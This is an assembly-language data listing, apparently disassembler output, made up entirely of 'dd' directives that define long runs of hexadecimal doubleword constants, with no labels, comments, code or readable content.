		dd 3C792F28h, 83A1A4BDh, 0B0EC5E92h, 0C582F2F5h, 0A7E80A6Ch
		dd 1EDE00E5h, 0E965512Ch, 0D6C0A577h, 0F4806FB4h, 1EC4E629h
		dd 0BD4F605h, 0E4C32BECh, 0F82DEEF1h, 41E110C3h, 62C9EFF4h
		dd 6D080726h, 0EE605732h, 48D915BDh, 12068519h,	0C3C2F1Fh
		dd 1047BB02h, 50F7013Bh, 58A640F2h, 0B09BAFA3h,	0C0A6EB84h
		dd 0AF949196h, 0B12C292Eh, 523BCAE9h, 117DECD3h, 257E7CF4h
		dd 45593C70h, 692B844Dh, 1F997E2Fh, 365E5288h, 5ABC6619h
		dd 784E7A2Ch, 6F30E921h, 88580A18h, 4C5A5CD4h, 2D4C8D10h
		dd 0A0D874BEh, 5E5B9890h, 6E3091DAh, 0E6C10059h, 9F465006h
		dd 6BB84107h, 1FEE785h,	6C715F95h, 0B7C02F31h, 0E21AE5BDh
		dd 98C17509h, 92C50C06h, 59C26120h, 812F7E58h, 790C6F05h
		dd 0BDACF6ECh, 2618FB6Bh, 466B71Bh, 222AE531h, 8B5F413Ah
		dd 2FB1ED51h, 513EE60h,	2CA2C75Ah, 91F04816h, 64ED8742h
		dd 554FD2CCh, 55D5E132h, 2C3101F0h, 2FEE91A6h, 0A3709288h
		dd 9B22FD25h, 0BF0883FBh, 169F733Bh, 194F71h, 2FFAB84Dh
		dd 0BD0F5A9Bh, 0C9EDFEF8h, 0A7947601h, 9001073h, 29BB76D1h
		dd 0E9A890FDh, 41ABE804h, 680E8FA3h, 1E65B8F0h,	0EB88D2A2h
		dd 9D29287Dh, 27639D10h, 0A90EB150h, 2F5C1E74h,	0A2FFE1F6h
		dd 0BDEE2AAh, 0D56D37E0h, 0A5F26EE1h, 85BD89DFh, 4DEBCEDDh
		dd 5F04486Dh, 0B27AAB68h, 47C48F0h, 30BC796Ch, 308997EFh
		dd 45FF044Ch, 5002CEECh, 0E9167B7Ah, 2F4F04Eh, 2AE8B4B9h
		dd 0B85629ECh, 48FA2158h, 0A410B95Fh, 4FF4EADh,	2E8BE13h
		dd 77B55153h, 0C734982h, 7250BED4h, 0FDBD8019h,	42E41B12h
		dd 1676203h, 0E4B8849Ch, 45B2015Bh, 6FEE7DE9h, 2CF21FE8h
		dd 5DD82074h, 76749F52h, 0E74B0965h, 0E07E9059h, 0F982821Ch
		dd 0C47FAE13h, 0FD68B50Bh, 0E43B027Dh, 0A017848h, 0E94B325Eh
		dd 0A93FC537h, 829BA172h, 0D3408005h, 5B48DE88h, 52EB2DF1h
		dd 1EB3B0F5h, 0D772ED7Dh, 167DF9FAh, 39AB6E07h,	3F503F64h
		dd 61131CBFh, 62145D2Dh, 3E1F6826h, 6185E989h, 0C6C158A5h
		dd 0B38DE0CEh, 4075987Ch, 0FB0BB99Ch, 0FF096240h, 0F3E99D18h
		dd 0BB00AAB2h, 21C248D2h, 1CB814Bh, 14540E3Dh, 3736DBE9h
		dd 65ED92D8h, 284172Ah,	7919F781h, 0EFE809B0h, 2F38C6E7h
		dd 2EE0DB3Bh, 0E5404E0Eh, 2180402Ah, 6160265Ah,	7A14BB78h
		dd 1A1A01Ah, 0A27AE1B0h, 5309D6B1h, 8CB7D12Ah, 0D3D33EA6h
		dd 57888165h, 0BE3EA4ACh, 5B50478Dh, 0AA0704FAh, 0CAC71991h
		dd 99D02EBFh, 26FE7C99h, 1CA1DBF6h, 4DA7FB3Dh, 0CE136956h
		dd 1594243h, 0DF4C01F2h, 295C6D18h, 0D8BB02C2h,	0B015B0DDh
		dd 0CDF10EC4h, 0E8161F0Fh, 4B499F9Ch, 759C92BAh, 0A6FE2201h
		dd 65B1F5A2h, 70E02AC9h, 27022768h, 971CE398h, 272F6EB7h
		dd 0B875555Eh, 8A84E050h, 4593F848h, 13D07197h,	0E156B5C2h
		dd 7B1F30DAh, 0D54FE419h, 0AD2E5EDAh, 9F13925Eh, 0A0EFFDC4h
		dd 411D96D7h, 6B4779CDh, 4837404Fh, 0DC89F51Bh,	87622BD9h
		dd 0EA0E48C0h, 39431ED8h, 9965CC47h, 5B49DF57h,	4C904008h
		dd 640A3A4h, 6F7A1F54h,	9038895Bh, 0D15FF829h, 4C7D495Eh
		dd 4A6D25E2h, 29CB3268h, 4B3A532Ch, 5DEBBB09h, 0E5ADA6F1h
		dd 86B24F6h, 350156B9h,	0EED087Ch, 95BFF0E8h, 8C658B66h
		dd 0A0A84371h, 0B5BE8A4h, 242C26Dh, 42FD8750h, 23D2D589h
		dd 5434BA06h, 0EA477F8h, 132373B0h, 4B1B4DA6h, 5966E816h
		dd 0B652E004h, 50C61680h, 0F61F1FB0h, 28B909D0h, 5318F90Ch
		dd 8649B1B0h, 0C9C05DF0h, 0A502D70Ch, 0F70B3D1Eh, 72BFFDC8h
		dd 0D29530FCh, 4B23FA53h, 2074AFF3h, 0A0199D81h, 8B64FD3Fh
		dd 0F9477D29h, 170FCC34h, 204FC19Ch, 5160E7C1h,	1E9F13F7h
		dd 0C700D3D8h, 157619B0h, 0B83B1998h, 0E96B842Eh, 26986A98h
		dd 75404EA2h, 9CE5EF97h, 4197E32Ah, 82F96DEFh, 741EC168h
		dd 0AAB7C23Bh, 0BD05C108h, 0FF8706F1h, 0BE080240h, 589FF644h
		dd 3984BD0Ch, 0E96F3752h, 59F4E103h, 82E2B32Fh,	14C08E9h
		dd 0F0EDC058h, 5773CD80h, 39FEA6ECh, 7C2FDEB6h,	44B6ACA0h
		dd 0D167F005h, 0B6CD6FEDh, 49B8C880h, 353D151Eh, 0A6548600h
		dd 23EF2D63h, 66EA5CCEh, 0EA2ED734h, 5CF11DA0h,	322FB5F0h
		dd 0A3194A0h, 9A9F585Ah, 4BCF8BEBh, 9E0C049Ch, 10C781Bh
		dd 19C763D9h, 67EA52Fh,	14800C08h, 0F54F3FE9h, 62570122h
		dd 8093C845h, 0A26E4AEAh, 0EF77C4A2h, 5B61DBABh, 0BE2BBD79h
		dd 0A6DDE361h, 33C34F81h
		dd 2D7C583Eh, 830841EEh, 635BD50Ch, 25280071h, 570DB510h
		dd 4C3CB968h, 4B5FA413h, 0D3F9E904h, 0E1DC89AAh, 9C7BA029h
		dd 0D1B6EB95h, 56FD5AD1h, 4A959120h, 7FCD4753h,	0AE64C473h
		dd 24D865E4h, 122B5268h, 225DA150h, 738292B7h, 2DD60B91h
		dd 19178B24h, 1EB5A7A0h, 56FD2867h, 0B075392h, 43FD0A52h
		dd 3368A81Fh, 285BB569h, 662FC925h, 3F88882Fh, 32EE7E4Fh
		dd 537A1975h, 9FB1DE5Fh, 1342A66Ah, 6F704057h, 7E5D3629h
		dd 0ACBF273Ah, 0C462DFF4h, 98A90BAFh, 82980104h, 1601084h
		dd 0B1A24708h, 0E9033940h, 6D9DBA2Fh, 18B4AC9Dh, 93C12396h
		dd 1F5C712Eh, 9700C912h, 0ACE97D62h, 0BF75D2C5h, 0FFCA7C8Ch
		dd 0CCCF0404h, 98010F0Dh, 2D0C084Ah, 0A37B78C7h, 1C02223Eh
		dd 2D0FAF68h, 0AE7D1657h, 16AC32F4h, 0F492EEB9h, 4503FA0Ah
		dd 90A4ED5Fh, 0CAFAE776h, 0C6AE1462h, 0A45550FAh, 1E450617h
		dd 0B1BBD7Ch, 0ABED8100h, 29235E4Bh, 0EB6812FDh, 1CB5E342h
		dd 0FF2D9692h, 2A313631h, 52BE5657h, 298BFE55h,	78887750h
		dd 6E2907Dh, 545B56EAh,	0D218B650h, 0C7CE4FDDh,	913027ABh
		dd 0EF1C05D7h, 20FA0817h, 0E9D02126h, 4B175949h, 8B4FFBB8h
		dd 90221EEh, 2304A6C3h,	0D0DC8066h, 3840B374h, 0DD2FE0F0h
		dd 57978286h, 6AD70D2Ch, 0C080D48h, 0D8E91400h,	95DFB2C3h
		dd 0FB737C00h, 77903063h, 5CBD9170h, 0D3FA5B86h, 0BE053B78h
		dd 6CA17E46h, 0CFD6B1AEh, 248E08F9h, 1F3EBA16h,	0F4957DD6h
		dd 70C98036h, 8672E99Eh, 49CAF5C9h, 0CF28F106h,	7212BF01h
		dd 0EC4F180Ah, 0F59E8BE2h, 0A44A6A85h, 0A5EE9C0Fh, 0D8EFD63Ch
		dd 4E5AA64Ah, 1F4C9EB3h, 0D1304586h, 2182F504h,	3FA7022h
		dd 1E2F4AECh, 0E43F0C0Eh, 6DF43811h, 57DF021Dh,	0B850EF01h
		dd 0EE7E0889h, 0E685D03h, 0E7FE8534h, 4FD958D7h, 0B9E346D3h
		dd 0A481A573h, 0A260BB9h, 58E46A6Ah, 0C1F6A0F9h, 9B9212DFh
		dd 0AF748577h, 0B34EBBCFh, 31D89294h, 0D5160B5h, 0D2345BF8h
		dd 8E8C014h, 0B52C2080h, 21CB2EFEh, 28D9BA26h, 4C870BC0h
		dd 86944FAh, 16D81504h,	40EC4102h, 1580DDCEh, 51F94246h
		dd 40C61A9Fh, 256774F0h, 6B702232h, 0D18E395Fh,	0E1F5F45Eh
		dd 2B29305Ah, 127BED22h, 172CC6E6h, 4D3EFFEh, 0EDB0E706h
		dd 5F2710DAh, 7369B829h, 6AF5DAA0h, 6814E57Ah, 0D6CE2D31h
		dd 739903BBh, 0F2CA2017h, 32D75441h, 7B6610CDh,	0EBBB5B29h
		dd 0FA80306Ah, 40E266FBh, 0E57B61BFh, 5AFEE770h, 224CEA09h
		dd 4F5A3BCEh, 0D084E166h, 5D3C79BBh, 0A4BF8F57h, 43AEB81Ah
		dd 90E91211h, 8130B816h, 19BD685Ch, 41515DC2h, 0E9BEC0C9h
		dd 13D2BCC7h, 4C57FC5Fh, 27D4351Ah, 0BED1ED06h,	2CEF09C3h
		dd 300E7F49h, 53F556DFh, 571F8C87h, 0BB87D9A0h,	0EA8B24B5h
		dd 32101CB2h, 0C329004Bh, 0CC63B958h, 0EFEE5B61h, 137AB618h
		dd 3305E56h, 6A936DBCh,	8F67F1E0h, 5FADDA27h, 70C29600h
		dd 385C9C0Bh, 52E92D9Ch, 0B5BA5B0Dh, 41C0E893h,	3F68A1A8h
		dd 39B3564Bh, 9E21B9D7h, 8CE99C33h, 0C980A5D0h,	2E7CB586h
		dd 0F713BE62h, 7D75BD18h, 63665B3h, 3BF103A6h, 4115047Ch
		dd 0B46BDE0Ch, 40849C83h, 0C37C9D64h, 0FD7A262Dh, 97CFC13h
		dd 265625Dh, 5F2CF828h,	1566104h, 0AE3F122Ah, 0C2DF21E2h
		dd 5A8A68DAh, 4C8BEE51h, 0B1D5228Ch, 8015C1F1h,	0DBF797D1h
		dd 0F72A02ABh, 1C583DDh, 0F539B0D5h, 0BA8041Ch,	0FBEE89A3h
		dd 0EA03778Bh, 29F646B5h, 0CE88F28Ah, 0F5CC2508h, 4661AB5h
		dd 0E7BA79AFh, 805E2703h, 3C8C35EEh, 252C7A3Dh,	4CBA6FD9h
		dd 0F9079EFDh, 663E460h, 0E9760D09h, 78B5DFA5h,	0C2D5207Fh
		dd 162CE4A0h, 0F0C0126h, 4E033B03h, 5A0C077Ch, 8578E321h
		dd 0C6CC155h, 0EB407BF7h, 7652EDEBh, 3E0CC37Eh,	0A1B4AD7Dh
		dd 88DCA83h, 0A614050Ch, 75A8009Dh, 0BB531E0Eh,	77D102F4h
		dd 4F7EE92Bh, 6ADD185Fh, 57218072h, 2EAF1C4Eh, 5DD84AA7h
		dd 0F661406Ch, 0C588D01Eh, 7295484Bh, 9D77EC36h, 24019439h
		dd 0FD29D0Bh, 0F10F6A8h, 885B173Ah, 9EED98A5h, 8009A83Ch
		dd 125889EAh, 2815C217h, 47A90DAEh, 36C60035h, 32691324h
		dd 1D7E8A0h, 1CE916FEh,	753EF4F6h, 0D50CE369h, 4A309CC7h
		dd 4B4D2F3Ah, 0F520053Ch, 3737EF47h, 0DED09392h, 6E556073h
		dd 0FA9518E1h, 74CC0B8Fh, 0CA565429h, 0E3144518h, 49727A8h
		dd 30B547Ch, 62225CCAh,	5402785Ah, 0F26F7759h, 0B8B696A0h
		dd 0F79A5D27h, 15AF00FDh, 0E4A2E46h, 0FFA1B6E9h, 68660731h
		dd 5A440342h, 51CBECD1h, 0C70C4EEFh, 0F35FD754h, 1230E7D1h
		dd 0E9D706DFh, 27879699h, 3CFF0277h, 0F381008Dh, 86026E2Eh
		dd 1B570510h, 0D8ABE0BEh, 0BB2C4AE9h, 0CBAA7584h, 0CD7E146Ch
		dd 7BA59FC2h, 6C81096Ah, 669A37Eh, 0EC71DB29h, 142B0936h
		dd 0D05F5E05h, 0B2D14CE7h, 113C68B0h, 582CE517h, 0E9D6D1EFh
		dd 7D7ECAFEh, 42DB064Fh, 5FC70475h, 0C109E71Ch,	2B48D3E2h
		dd 0BF5AF89Ah, 0AAA34D65h, 0B1BCB84Ah, 346AA0E7h, 0EDD1AB14h
		dd 3C7EF021h, 7024E9FBh, 49C2D6A9h, 0BDDB7B77h,	0A21B90A7h
		dd 0D95F86C2h, 13312610h, 59E5AD53h, 12BB4E61h,	5F04EB88h
		dd 12C0D9F7h, 5AD746DEh, 9EB16Fh, 72E907AEh, 58CE8497h
		dd 7D1AE7ABh, 549FBAA6h, 0EAF82DEBh, 6040580Ch,	905AA36h
		dd 2170DD15h, 88456BF6h, 30508FEBh, 70A83458h, 0C10B1A10h
		dd 89F8D5E7h, 1C875C16h, 1A57CAEAh, 0DFD576BBh,	9ABEDC79h
		dd 55A57377h, 4D9D1240h, 13C7B380h, 0C7CEC380h,	0B5C563E2h
		dd 1075DD83h, 6DE9D983h, 91B54CF2h, 2965094Ch, 64EF095Ch
		dd 3CFD360Ah, 43BD58CAh, 1E018327h, 0C43C20BBh,	89ED5615h
		dd 7668B252h, 0B017BD3Fh, 3C48BDD7h, 37152848h,	0FDA987D3h
		dd 147C6883h, 65A33B1Ch, 0C894DF2Dh, 0E1A8CEB1h, 0EC578640h
		dd 785195FBh, 27629EA5h, 0A248A16Bh, 0AE036C8Fh, 0CE874E1Dh
		dd 0E9063C49h, 89301E5Eh, 6ADF92D7h, 90DA43E9h,	26CCF681h
		dd 53A52ACh, 0BF33A8B9h, 3DC157B0h, 49B008E9h, 4B73C928h
		dd 0E30B0ADFh, 0E3EAFDBFh, 67725855h, 0D42D0672h, 680BF096h
		dd 31EE024Ah, 0C237C3A6h, 44185B57h, 5FBB8B54h,	50B74063h
		dd 1C610979h, 0E459EB88h, 2692C90h, 95B9E985h, 0B60AB166h
		dd 0C3F38883h, 58278F10h, 8EA0DB66h, 94C2CBBh, 0E1CD1FF2h
		dd 0F6E4F81Dh, 0E40B27h, 3D0BC8E4h, 4CB9005h, 50CC3F8Fh
		dd 55510031h, 17388868h, 0A45D1CB3h, 0AF16CD6Bh, 86BC6B29h
		dd 0E2B5C01h, 7FE98972h, 594D3901h, 0C8FF4930h,	5A249067h
		dd 0E1D7B15Fh, 42507C12h, 0D68C290h, 4C4C5F2Ah,	22D94E1Eh
		dd 6D85902Fh, 0CBD58AC8h, 9FF2BEFFh, 7588F145h,	27C4282Fh
		dd 3EF94E2Ah, 0C2556783h, 0A0BCE905h, 7ACC916Ah, 0ED9F8183h
		dd 19DD33E8h, 9F4337ECh, 602DB2E6h, 585C11B5h, 9D9EA6E4h
		dd 558ECF56h, 0D9FF1710h, 2E58744Ch, 2D5DCC44h,	43EF0C8Bh
		dd 0D9400CA8h, 1EA3F83h, 0AADF0473h, 0E931F4C4h, 5251849Ah
		dd 0EDFA2CAFh, 6889C986h, 82807687h, 0B574B5Bh,	61F1C41Dh
		dd 82AC82D3h, 0DA89C469h, 39B478BFh, 1B313895h,	0F17DEB1Eh
		dd 17CB606Fh, 0DF1E6E09h, 421C0B89h, 7833846Eh,	87F8BB00h
		dd 38C1B84Fh, 5E12E9Eh,	70CE728Eh, 89E912C5h, 0D5BD002Dh
		dd 15163669h, 20355F5Eh, 71C7E901h, 856A42D7h, 0EC8FB8Fh
		dd 6BDC00DAh, 82C2D01h
		dd 55583FF8h, 5AA32FDEh, 741B209Dh, 5EDB0C40h, 8920EE73h
		dd 121B858Eh, 0FCFD0192h, 0F72DC022h, 1441EB4Bh, 705E829h
		dd 10015D18h, 3B2C6D6Ah, 3F2362h, 4F5E3866h, 6084E947h
		dd 83AD7CC4h, 0FE0207Fh, 83A8F5F5h, 4D7BC6E7h, 0B2018367h
		dd 8809FC51h, 2909CA6Bh, 0DE66F5DDh, 71C9919Dh,	66D9823Ah
		dd 5C42F8DCh, 2AF6577Eh, 22F8586Fh, 63F3BD6Ch, 75FF5C9Ah
		dd 2B4F35D1h, 0C2E9F671h, 0BD95184h, 28560E88h,	0DC502798h
		dd 0F64F907Fh, 75372411h, 0DEEE1B8Ah, 3540C085h, 817A77A4h
		dd 0A34E8A0Ah, 963B8147h, 3804AC64h, 0A7D8B944h, 81A3C00Bh
		dd 2536F7E1h, 7F0C7263h, 27AA3Ch, 697B385Fh, 45D9E917h
		dd 3C9C661h, 20338F2Fh,	664C0114h, 82E95E37h, 0F1C95058h
		dd 52D4E64h, 5D817729h,	0EC6A30EBh, 0D3580102h,	2BF30045h
		dd 50531E14h, 39BD02B8h, 0AEE92AE1h, 5204D85Fh,	0ACC1392Ch
		dd 70029469h, 145E7F7h,	0C43BC7Eh, 0C2A358Fh, 0E46FEDE9h
		dd 4A62D3A3h, 7DDBF706h, 9FBA4CC0h, 8998ED13h, 0FE4565BAh
		dd 8A0920B3h, 0D580CE32h, 0AD31A1CAh, 4F2B0DC1h, 0BA6039D1h
		dd 5BF8E828h, 55EAC3E8h, 0C0FBAD6h, 3A2B6A4Ch, 5D070524h
		dd 80EBC5BEh, 0CF870290h, 0E9064961h, 522BA3B3h, 98C6AA97h
		dd 0A456950Ch, 0B682DF27h, 0A60FE323h, 20A721Eh, 75246BBFh
		dd 0C457295Ch, 4F41734Ah, 0AA898448h, 0BCE124F9h, 8CEB05FEh
		dd 3B705979h, 8C63B183h, 4A04896Dh, 0FC5CBC24h,	0DDF07B2h
		dd 52D10961h, 85CE5A5Dh, 6ED138E1h, 462628BCh, 0C3C4EB38h
		dd 3714AA09h, 810F5226h, 5E3A5808h, 906013C4h, 9E07B240h
		dd 3FAC8CC4h, 0AF565A04h, 0C38029B8h, 0BB10278h, 0C8F66895h
		dd 5DD88248h, 5A12CD25h, 0BB7E27A9h, 0E56969C8h, 80994C9h
		dd 0C281FC55h, 9D4810E6h, 806A846Fh, 911C2198h,	5BA08650h
		dd 67612B13h, 67A436E0h, 27CBE7C0h, 0BA59F4DEh,	0C285180h
		dd 97F79877h, 0DCA0EBDAh, 732F38F3h, 8F48248h, 0AB54041Eh
		dd 366FE799h, 0B60B4EFEh, 0F555EF71h, 27CA7909h, 7B450B0Bh
		dd 191875A5h, 0E6016E07h, 821BA48h, 0E17AEFB9h,	8EA82BCDh
		dd 4368FA6Ch, 0C4FBB117h, 18FD3356h, 5F77509Ch,	4BBDC511h
		dd 39F28A05h, 7DD8FA49h, 0E44B6D59h, 68F52063h,	38C1294Bh
		dd 0F93BB3D8h, 0EE940D1h, 0EC3E5C81h, 3DFBB58Ch, 32AB2B90h
		dd 80546CA1h, 75BBBF00h, 381634Fh, 1E28D0EFh, 0A8BCE9F8h
		dd 0DFB65B78h, 59B4F732h, 66255176h, 42BA0034h,	0BD670219h
		dd 7A0188F3h, 0E9D52975h, 0BA001853h, 0BC2E94FCh, 8C0A2BC6h
		dd 2628C22Eh, 7C07AA03h, 41F20175h, 1CA0081Ch, 91A98014h
		dd 0B871959Eh, 0E9CB38AFh, 2959403Dh, 5109A29Ah, 7F08120Dh
		dd 2B04F009h, 0E350C0EBh, 0B2C1B9Fh, 202A710h, 0DD2D124Ch
		dd 80F6AAC0h, 5B60A3B5h, 0DF0CFB0Eh, 958CD869h,	0D147AEFEh
		dd 0F1B8A7C2h, 1EF4A718h, 0B295C05Ah, 39F89D3Ah, 3502E22Eh
		dd 50381918h, 0CCD9BF53h, 54C01052h, 95D79559h,	0EA0D3518h
		dd 1485D7C8h, 8A6AC226h, 500E7204h, 0B11A8A0h, 227D7968h
		dd 5F667BC8h, 0FC02F8C5h, 60197D23h, 0BB02D67h,	0B1E9606Dh
		dd 4A25B158h, 0EB158D1h, 1D3528EEh, 1C82F2C0h, 0E1A04920h
		dd 0B52D185Eh, 6B3ED546h, 0C14BE97Eh, 337C55Dh,	41AF15B5h
		dd 676D6832h, 535E60CAh, 5FD3D4ABh, 2F56B948h, 0AF59079h
		dd 0A7DB9BC9h, 0E3EEC630h, 53C12618h, 204D6B0Ch, 164C2AE7h
		dd 0C3D3275h, 236C611Bh, 6C9F53Eh, 14820C08h, 0B940BC5Eh
		dd 1FE432E3h, 0FECD894Dh, 0F00AE8AFh, 0F1F758C9h, 10C78BB7h
		dd 0BF6A0AC9h, 681741E6h, 0FA26E6Bh, 5DC0B53Bh,	3980574Ch
		dd 674380D7h, 0B14AEF05h, 3178B525h, 4AA484Ch, 5D991AB0h
		dd 827AD0EAh, 4F28B56Ch, 5B48B04Bh, 0E97105ACh,	0AD89B22Eh
		dd 90BFF7C0h, 0A1052084h, 0FAB970B7h, 1E3D6B4h,	9511440Eh
		dd 155B203Fh, 78CC6114h, 150D2082h, 0C9732C68h,	70AC110h
		dd 290F10BEh, 4D1B5009h, 5E122656h, 0C0B0B246h,	1608301Eh
		dd 0BE5FE45h, 104F4A64h, 0E7EDAA00h, 73029A14h,	7DE9EE29h
		dd 7C4455B0h, 9B4B89F0h, 0A1818924h, 6800E532h,	74254121h
		dd 13F42Fh, 3F8C36DDh, 4A58D5E9h, 6C3084E6h, 0BB184D8Bh
		dd 31590A26h, 0AD5AD039h, 0A6FC30C3h, 1BDC9D79h, 4C068A49h
		dd 0F79C82A5h, 315F007Fh, 0D5B05BDFh, 61328A6Bh, 0F43C041Ah
		dd 2FB9803Eh, 16DFC199h, 1BB059Eh, 0F2538926h, 2FDDA834h
		dd 57E62A26h, 6F2DCB81h, 97786CE0h, 0D26850C0h,	3D5CFB14h
		dd 0FFC0011Dh, 851A4005h, 5333E9E0h, 8C589798h,	0B6EB32Fh
		dd 6F71689Dh, 16E10969h, 0E4754C01h, 0FF0C8204h, 5862FFF9h
		dd 28307DBCh, 47B5CEEAh, 979231A5h, 0B405008Ch,	0BFA282Dh
		dd 742EB90h, 9D46D753h,	4ACF4E32h, 56FF8B29h, 0E6B0B97h
		dd 5B46CBF9h, 3370FD4h,	0F1C0183Dh, 5F601006h, 413A0CC0h
		dd 9E493570h, 60630D9h,	0ECB5755h, 84807C7Bh, 0C0154C10h
		dd 173E6FC2h, 0E8B0214Fh, 6EE00235h, 11E93A62h,	0BDBE9548h
		dd 0D6864D31h, 0E438AE4Fh, 4C3A68C7h, 0A84199C5h, 4BB3F841h
		dd 0CB71C530h, 0A0FF4912h, 5950A3F6h, 1CC14E22h, 5AE8C268h
		dd 0A0F56985h, 3A97F1C6h, 0C76D4C65h, 209E55Bh,	5805CBB7h
		dd 0E20B3ABh, 695AF788h, 0C42733Ah, 0AC30FA60h,	7B382C25h
		dd 0E0B02FFCh, 85824F85h, 40EA1C9Bh, 7DDCEA5Fh,	292C22F0h
		dd 820B0FAh, 0A88ECEA1h, 0F605FA26h, 9499F9D7h,	5297880h
		dd 57AE35Ch, 0F87027F2h, 1397D45Fh, 37FFCA2Fh, 92DE9256h
		dd 90B138D5h, 1209BB13h, 0B83641E4h, 0FEB6E05Eh, 0D02787D4h
		dd 6CF69739h, 114B983h,	8141841h, 0FAE2CDA7h, 49B41713h
		dd 738502BBh, 0F18D7452h, 6F802137h, 9EE8D6D5h,	50A71D30h
		dd 47E5F088h, 0A82CB4B9h, 0F7885A99h, 62C94F2Fh, 0DFDA26ECh
		dd 0D879DD70h, 4E45D74Dh, 3FBE83C0h, 0BE7A4A74h, 3BB88306h
		dd 0B7D9010h, 0BADFE9C2h, 7C88DBF1h, 75BA300Ch,	0A2B85C2Ch
		dd 0D41EA127h, 0C864EFE9h, 0A169EC67h, 504A403h, 0B8B93EB6h
		dd 0F3979FFAh, 0C1E1C653h, 0A1EDEC3Bh, 1304E829h, 5ACD4C78h
		dd 56144624h, 29A1FD0h,	0E9DA315Dh, 0A06E5EEFh,	0FA76FADDh
		dd 8078BA65h, 97015F07h, 5313DBDBh, 55B730BEh, 0E93EFD89h
		dd 7C86D64Dh, 5FE11D69h, 63ECF044h, 0CC3EAF09h,	0B3EA8889h
		dd 7B691105h, 7E27DA0h,	0E9A31444h, 24C6FB0Ch, 4235A2CEh
		dd 6256094Dh, 4BD37872h, 0C562B229h, 9F560DE9h,	79E6B804h
		dd 166D8D46h, 3B78BF1Ch, 0C7813880h, 602E6198h,	7FA20C3Fh
		dd 0E7B02BE5h, 43317705h, 1F840958h, 61C860C0h,	733C76FEh
		dd 1B171BE7h, 4A82A4Ch,	2941365Ch, 0B5482720h, 9204B93Ah
		dd 85FDA976h, 40EBA93Dh, 5149F309h, 1505010h, 0BB5240CFh
		dd 9C8044E0h, 38C43AECh, 0B50059B4h, 42E580BCh,	0B264D8F4h
		dd 0EDAB5ADCh, 2BD6DFD2h, 8AAB4CC5h, 0B7C06014h, 9011FB18h
		dd 2996E557h, 129C12F9h, 0E73706B5h, 0DE2519ABh, 2D655C5Bh
		dd 0C640C0FCh, 0C6D0147Ch, 0D59765FCh, 0C2E648BFh, 0C9BD0B72h
		dd 696B291Dh, 4482665Fh, 8DAD4055h, 73FA030Bh, 0B7715CBDh
		dd 340482CDh, 28F532D8h, 808B4B9Eh, 7D2E4F05h, 0FE990B52h
		dd 0C75ABC52h, 75E17144h, 6FB3E902h, 768313C8h,	0E17E9C27h
		dd 0E2CE29E2h, 330B0F73h, 5D1A35F9h, 0EF5ACAE9h, 8F0969BAh
		dd 844B5C75h, 8880030Dh
		dd 50446B6Dh, 0B580FE15h, 0A989BBF9h, 0CB50AF9Fh, 52D8A0FEh
		dd 5C8030B2h, 0D31D9DEAh, 2BEB825Ah, 0EBD49868h, 0D43BE963h
		dd 4B1A488h, 9F6A19Fh, 175FC3D5h, 0ABC61B09h, 31EB836Bh
		dd 8AF6E9F7h, 870CF33Fh, 0D69B9E68h, 64A8C8F0h,	9379BDF3h
		dd 680BC4A2h, 5A560F1Eh, 6BD4B5DBh, 7C69F0FBh, 71BF11C7h
		dd 4F6B3E81h, 128C9B20h, 1709E12h, 35741BA7h, 0A7122A79h
		dd 9EA84D57h, 5705710h,	665AD130h, 28E49807h, 0F073C97Fh
		dd 0BD9953Bh, 0C5E85C65h, 71BB680Ah, 0D1E98F58h, 5722AB53h
		dd 2D0AD5C6h, 377D017Eh, 7A014EDCh, 485062FCh, 483400B3h
		dd 2CA0543h, 63B20B94h,	0DB685F0Dh, 0BC7EF730h,	0FF5B3D40h
		dd 964C5149h, 84FAB8D5h, 0B0BFC0D8h, 774B121Dh,	0EA4E0CFCh
		dd 2CAE9E75h, 925413E0h, 3FF76FDDh, 0E984A4A2h,	0A8B875h
		dd 1316CDBAh, 1CD2F75Fh, 44F28142h, 0FBFA1C99h,	36D8CF18h
		dd 84D06033h, 9223E9C6h, 0ACAFBAB5h, 0FBDD63Ah,	33503025h
		dd 0D2F77645h, 3760D506h, 8182EB64h, 225B1E7Eh,	0FB8BCB30h
		dd 7AB7AA05h, 0AE92BB93h, 8A16DD89h, 0A7224CC4h, 2E0C101h
		dd 4962C005h, 0FE251700h, 5116F473h, 7BFD02B9h,	9EE94528h
		dd 70D58EEAh, 27DD7AC3h, 0C14E3307h, 212F6824h,	9C6E986h
		dd 0EEC74A21h, 12B00613h, 39785BEDh, 7387F8FAh,	0AAC11897h
		dd 0DABA5817h, 0BDB71917h, 6F0607D2h, 82BB816Bh, 502A0515h
		dd 0D568125Ch, 81153312h, 29F24604h, 0BFEC01EFh, 0BE580740h
		dd 0D5150BCCh, 0B200D4D8h, 5477A70h, 0E20D0843h, 0B1484E40h
		dd 7907DCEFh, 0C83D5E24h, 0B83F5810h, 4C5C3509h, 7B484086h
		dd 2CB2F09Fh, 473F7B37h, 273C62EEh, 0B693A582h,	0FD279B94h
		dd 0D02C0B68h, 821C95B1h, 712078B0h, 58C076AFh,	195E7B05h
		dd 7B0F5AF1h, 54FD4317h, 0DF954BD2h, 0E673A0E2h, 0FF959322h
		dd 9AD46518h, 42AD569Dh, 0E00AF370h, 0EF81C700h, 7E936DC9h
		dd 5761693Ah, 0C82422D4h, 5A17F810h, 0F1B3174Eh, 98F82E54h
		dd 26452E5h, 431EBB94h,	69285AE8h, 1682420h, 0F0DA36E7h
		dd 6C16A5E9h, 0B3B28134h, 49FCAFEh, 0B188D253h,	0DD03F13Fh
		dd 0FA137BB5h, 5CF2DEB8h, 17154279h, 5A85EA9h, 0D5380351h
		dd 0EE1CB184h, 86EC6625h, 8489F94Fh, 41BABFFAh,	3378EF8Dh
		dd 9012B13h, 629779B8h,	0B9090CBEh, 48D5A0A1h, 320D617Eh
		dd 4E641C79h, 36B5BF00h, 0F721099Ah, 0A58047DFh, 4D780C54h
		dd 0AD3EA190h, 89CA8A6Ah, 895AA5FBh, 58A12D7h, 86D4B4C3h
		dd 0A1A5DDC1h, 0F9D89228h, 11BAD47Ch, 7AA8BD05h, 0C1BB397Eh
		dd 20D9F711h, 7195862Dh, 83456244h, 0A23A16DFh,	5E972406h
		dd 9D5503B4h, 895920D1h, 894DB83Ah, 0F8D17D9Eh,	0D8A9B3E9h
		dd 16A65B65h, 85F3E977h, 321DBFB0h, 31DE0EF9h, 8305EF2h
		dd 0C020F4E9h, 68C18836h, 95A94055h, 3B3265A5h,	8C9FEFB2h
		dd 0B11C6566h, 0EE80530Fh, 2F7E3D4Fh, 22D352C2h, 82B524ECh
		dd 0FC5E480Fh, 31E2C26Ah, 57275F0Bh, 3CD5195Fh,	0ACD8172h
